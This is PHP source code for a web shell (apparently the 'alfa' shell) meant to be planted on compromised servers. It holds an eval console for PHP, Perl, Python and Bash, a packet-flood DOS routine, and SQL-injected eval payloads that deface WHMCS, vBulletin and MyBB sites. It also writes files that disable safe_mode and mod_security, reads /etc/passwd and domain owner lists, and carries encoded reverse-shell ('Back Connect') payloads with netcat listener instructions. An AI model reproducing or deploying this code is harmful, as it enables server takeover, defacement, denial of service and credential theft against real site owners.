    '; ob_start(); $INI=ini_get_all(); print '' .'' .'' .'' .''; foreach ($INI as $param => $values) print "\n".'' .'' .'' .'' .''; $tmp = ob_get_clean(); $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); echo str_replace('
    '; } if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) { echo '
    '; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); echo str_replace('
    '; } if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) { echo '
    '; ob_start(); $EXT=get_loaded_extensions();echo '
    ParamGlobal valueLocal ValueAccess
    '.$param.''.$values['global_value'].' '.$values['local_value'].' '.$values['access'].'
    '."\n".'
    '.implode('
    ', $EXT).'
    '.count($EXT).' extensions loaded'; echo '

    '; } $lang_html = ""; foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '';} echo '
    | INI_INFO | | phpinfo | | extensions |

    Select Language:
    '._alfa_load_ace_options("eval").'

    '.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"<?php\n\n\techo('hello alfa !');\n\n?>").'
    '; echo '
    ';
    if(!empty($_POST['alfa1'])){
    if($_POST['alfa3']=="php"){
    ob_start();
    eval('?>'.$_POST['alfa1']);
    $result = htmlspecialchars(ob_get_clean());
    }elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
    	$lang = $_POST['alfa3'];
    	$filename = "temp".rand(11111,99999);
    	$temp = $tempdir."/".$filename ;
    	__write_file($filename, $_POST['alfa1']);
    	$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
    	@unlink($filename);
    	@unlink($temp);
    }
    echo '';
    }
    echo '
    '; alfafooter(); } function alfahash(){ if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i '__ZW5jb2Rlcg($s)', 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)', 'strrev ( $string )' => 'strrev($s)', 'bin2hex ( $string )' => 'bin2hex($s)', 'hex2bin ( $string )' => 'hex2bin($s)', 'md5 ( $string )' => 'md5($s)', 'sha1 ( $string )' => 'sha1($s)', 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)', 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)', 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)', 'crypt ( $string )' => 'crypt($s)', 'crc32 ( $string )' => 'crc32($s)', 'str_rot13 ( $string )' => 'str_rot13($s)', 'urlencode ( $string )' => 'urlencode($s)', 'urldecode ( $string )' => 'urldecode($s)', 'full_urlencode ( $string )' => 'full_urlencode($s)', 'htmlspecialchars ( $string )' => 'htmlspecialchars($s)', 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))', 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))', 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))', 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))', 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))', 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))', ); alfahead(); echo '
    '; echo "
    Method:

    "; if(!empty($_POST['alfa1'])){ $string = addslashes($_POST['alfa2']); $string = str_replace('\"','"',$string); $alg = $_POST['alfa1']; $code = str_replace('$s',"'".$string."'",$alg); ob_start(); eval('echo '.$code.';'); $res = ob_get_contents(); ob_end_clean(); if(in_array($alg, $stringTools))echo ''; } echo "
    "; alfaFooter(); } function alfados(){ alfahead(); echo '
    '; echo '

    | DOS |

    Method : Host : Time : Port :

    '; if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){ echo __pre(); $packets=0; ignore_user_abort(true); $exec_time=(int)$_POST['alfa2']; $time=time(); $max_time=$exec_time+$time; $host=$_POST['alfa1']; $port=(int)$_POST['alfa3']; $method=$_POST['alfa4']; $out = str_repeat('X',65000); while(1){ $packets++; if(time() > $max_time){ break; } $fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "
    $packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second
    "; echo "
    "; } echo ''; alfafooter(); } function __pre(){return('
    ');}
    function alfaIndexChanger(){
    alfahead();
    
    echo '

    | Index Changer |

    | Whmcs | | vBulletin | | MyBB |

    '; if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){ echo __pre(); echo "
    | Whmcs |

    ".getConfigHtml('whmcs')."
    "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50') ); create_table($table); echo "
    | Your Index |


    "; if(isset($_POST['alfa6'])){ $s0levisible="Powered By Leviathan Perfect Hunter"; $dbu = $_POST['alfa6']; $path = $_POST['alfa5']; $fname = $_POST['alfa4']; $dbn = $_POST['alfa7']; $dbp = $_POST['alfa8']; $dbh = $_POST['alfa9']; $index = $_POST['alfa10']; $index = str_replace("\'","'",$index); $deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);'; $saveData = __ZW5jb2Rlcg($deface); $Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}'; if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){ $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn)); $soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'"); $soleGet = mysqli_fetch_assoc($soleSave); $tempSave1 = $soleGet['message']; $tempSave = str_replace("'","\'",$tempSave1); $inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'"; $result=@mysqli_query($conn,$inject) or die (mysqli_error($conn)); $create = "insert into tblclients (email) values('solevisible@fbi.gov')"; $result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn)); if(function_exists('curl_version')){ $AlfaSole = new AlfaCURL(true); $saveurl = $AlfaSole->Send($path."/pwreset.php"); $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token); $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov"); $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'"; $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn)); __alert('File Created...'); echo "

    Click Here !


    "; }else{ echo "

    Please go to Target \" ".$path."/pwreset.php \"
    and reset password with email => solevisible@fbi.gov
    and go to \" ".$path."/".$fname." \"


    "; }}}} if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){ echo __pre(); echo "
    | vBulletin |

    ".getConfigHtml('vb')."
    >'); return false;\"> "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50') ); create_table($table); echo "
    | Your Index |


    "; if($_POST['alfa8']=='>>'){ $s0levisible="Powered By Leviathan Perfect Hunter"; $dbu = $_POST['alfa2']; $dbn = $_POST['alfa3']; $dbp = $_POST['alfa4']; $dbh = $_POST['alfa5']; $index = $_POST['alfa6']; $prefix = $_POST['alfa7']; $index=str_replace("\'","'",$index); $set_index = "{\${eval(base64_decode(\'"; $set_index .= __ZW5jb2Rlcg("echo \"$index\";"); $set_index .= "\'))}}{\${exit()}}"; if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){ $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn)); $loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'"; $loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'"; $loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''"; @mysqli_query($conn,$loli1) or die (mysqli_error($conn)); @mysqli_query($conn,$loli2) or die (mysqli_error($conn)); @mysqli_query($conn,$loli3) or die (mysqli_error($conn)); __alert('VB index changed...!'); } } } if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) { echo __pre(); echo "
    | Mybb |

    ".getConfigHtml('mybb')."
    "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50') ); create_table($table); echo "
    | Your Index |

    "; if(isset($_POST['alfa6'])){ $mybb_dbh = $_POST['alfa6']; $mybb_dbu = $_POST['alfa7']; $mybb_dbn = $_POST['alfa8']; $mybb_dbp = $_POST['alfa9']; $mybb_index = $_POST['alfa10']; if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){ $conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn)); $prefix="mybb_"; $loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'"; $result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn)); __alert('MyBB index changed...!'); } } } echo "
    "; alfafooter(); } function alfaproc() { alfahead(); echo "

    "; if(empty($_POST['ajax'])&&!empty($_POST['alfa1'])) $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false; if($GLOBALS['sys']=="win"){ $process=array( "Task List" =>"tasklist /V", "System Info" =>"systeminfo", "Active Connections" => "netstat -an", "Running Services" => "net start", "User Accounts" => "net user", "Show Computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" );}else{ $process=array( "Process status" => "ps aux", "Syslog" =>"cat /etc/syslog.conf", "Resolv" => "cat /etc/resolv.conf", "Hosts" =>"cat /etc/hosts", "Cpuinfo"=>"cat /proc/cpuinfo", "Version"=>"cat /proc/version", "Sbin"=>"ls -al /usr/sbin", "Interrupts"=>"cat /proc/interrupts", "lsattr"=>"lsattr -va", "Uptime"=>"uptime", "Fstab" =>"cat /etc/fstab" );} foreach($process as $n => $link){ echo ' | '.$n.' | '; } echo "

    "; if(!empty($_POST['alfa1'])){ echo "
    ";
    if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
    echo alfaEx($cmd.$_POST['alfa1'], true);
    echo '
    '; } echo "
    "; alfafooter(); } function alfasafe(){ alfahead(); echo "

    | Auto ByPasser |
    "; echo '

    | PHP.INI | | .htaccess(apache) | | .htaccess(LiteSpeed) || Read-Passwd | | Read-Users | | Get-User | | Get-Domains |

    '; if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){ if(!_alfa_file_exists("/etc/virtual/domainowners")){ echo __pre(); $solevisible9 = _alfa_file('/etc/named.conf'); if(is_array($solevisible9)){ foreach($solevisible9 as $solevisible13){ if(@eregi('zone',$solevisible13)){ preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14); if(strlen(trim($solevisible14[1][0])) > 2){ echo $solevisible14[1][0].'
    '; }}} } }else{ echo __pre(); $users = _alfa_file("/etc/virtual/domainowners"); if(is_array($users)){ foreach($users as $boz){ $dom = explode(":",$boz); echo $dom[0]."\n";}}}} if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){ echo '
    Url:
    '; if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){ if(!_alfa_file_exists("/etc/virtual/domainowners")){ $site = trim($_POST['alfa7']); $rep = str_replace(array("https://","http://","www."),"",$site); $user = ""; if(function_exists("posix_getpwuid") && function_exists("fileowner")){ if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){ $user = $user['name']; } }else{ if(_alfa_can_runCommand(true,true)){ $user = alfaEx("stat -c '%U' /etc/valiases/".$rep); } } if(!empty($user)&&$user!='root'){ echo __pre()."
    User: {$user}
    site: {$rep}
    "; }else {echo __pre().'
    No such file or directory Or Disable Functions is not NONE...
    ';} }else{ $site = trim($_POST['alfa7']); $rep = str_replace(array("https://","http://","www."),"",$site); $users = _alfa_file("/etc/virtual/domainowners"); foreach($users as $boz){ $ex = explode(":",$boz); if($ex[0] == $rep){ echo __pre()."
    User: ".trim($ex[1])."
    site: {$rep}
    ";break;}}}}} if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){ if(!_alfa_file_exists("/etc/virtual/domainowners")){ echo __pre(); $i = 0; while ($i < 60000) { $line = @posix_getpwuid($i); if (!empty($line)) { while (list ($key, $vl) = each($line)){ echo $vl."\n"; break;}}$i++;} }else{echo __pre(); $users = _alfa_file("/etc/virtual/domainowners"); foreach($users as $boz){ $user = explode(":",$boz); echo trim($user[1]).'
    ';}}} if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){ echo __pre(); if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){ for($uid=0;$uid<60000;$uid++){ $ara = @posix_getpwuid($uid); if(!empty($ara)){ while(list ($key, $val) = each($ara)){ echo "$val:"; }echo "\n";}} }else{__alert('failed...');}} if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){ @__write_file($GLOBALS['cwd'].".htaccess","#Recoded By HaxorWorld\n\nSec------Engine Off\nSec------ScanPOST Off\n"); echo '
    htaccess for Apache created...!
    '; } if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){ @__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By HaxorWorld(LPH TEAM)"); echo '
    php.ini created...!
    '; } if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){ @__write_file($GLOBALS['cwd'].".htaccess","#Recoded By By HaxorWorld\n\nForceType application/x-httpd-php4\n\n\nSecFilterEngine Off\nSecFilterScanPOST Off\n"); echo '
    htaccess for Litespeed created...!
    '; } echo "
    "; alfafooter(); } function __get_resource($content){ return @gzinflate(__ZGVjb2Rlcg($content)); } function __write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; } function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){ $res = "[ Success...! ]"; $err = "[ Failed...! ]"; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="c"){ $tmpdir = ALFA_TEMPDIR; chdir($tmpdir); if(is_writable($tmpdir)){ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; if(__write_file($path, $evalCode)){ $ext = ($GLOBALS['sys']=='win')? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; alfaEx($cmd); if(is_file($pathres)){ if(chmod($pathres, 0755)){ $cmd = $pathres.$evalArguments; alfaEx($cmd); }else{$res = $err;} unlink($pathres); }else{$res = $err;} unlink($path); }else{$res = $err;} } return $res; }elseif($evalType=="java"){ $tmpdir = ALFA_TEMPDIR; chdir($tmpdir); if(is_writable($tmpdir)){ if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; }else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; if(__write_file($path, $evalCode)){ $cmd = "javac ".$evalOptions.$path; alfaEx($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ if(chmod($pathres, 0755)){ $cmd = "java ".$filename.$evalArguments; alfaEx($cmd); }else{$res = $err;} unlink($pathres); }else{$res = $err;} unlink($path); }else{$res = $err;} } return $res; } return false; } function alfaconnect(){ alfahead(); $php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU="; $python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw=="; $perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA=="; $ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; $node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw=="; $c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw=="; $java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D"; echo "

    | Back Connect |


    "; echo "
    Mehtod:
    Use:
    IP:
    Port:

    Run ` nc -l -v -p port ` on your computer and press ` >> ` button


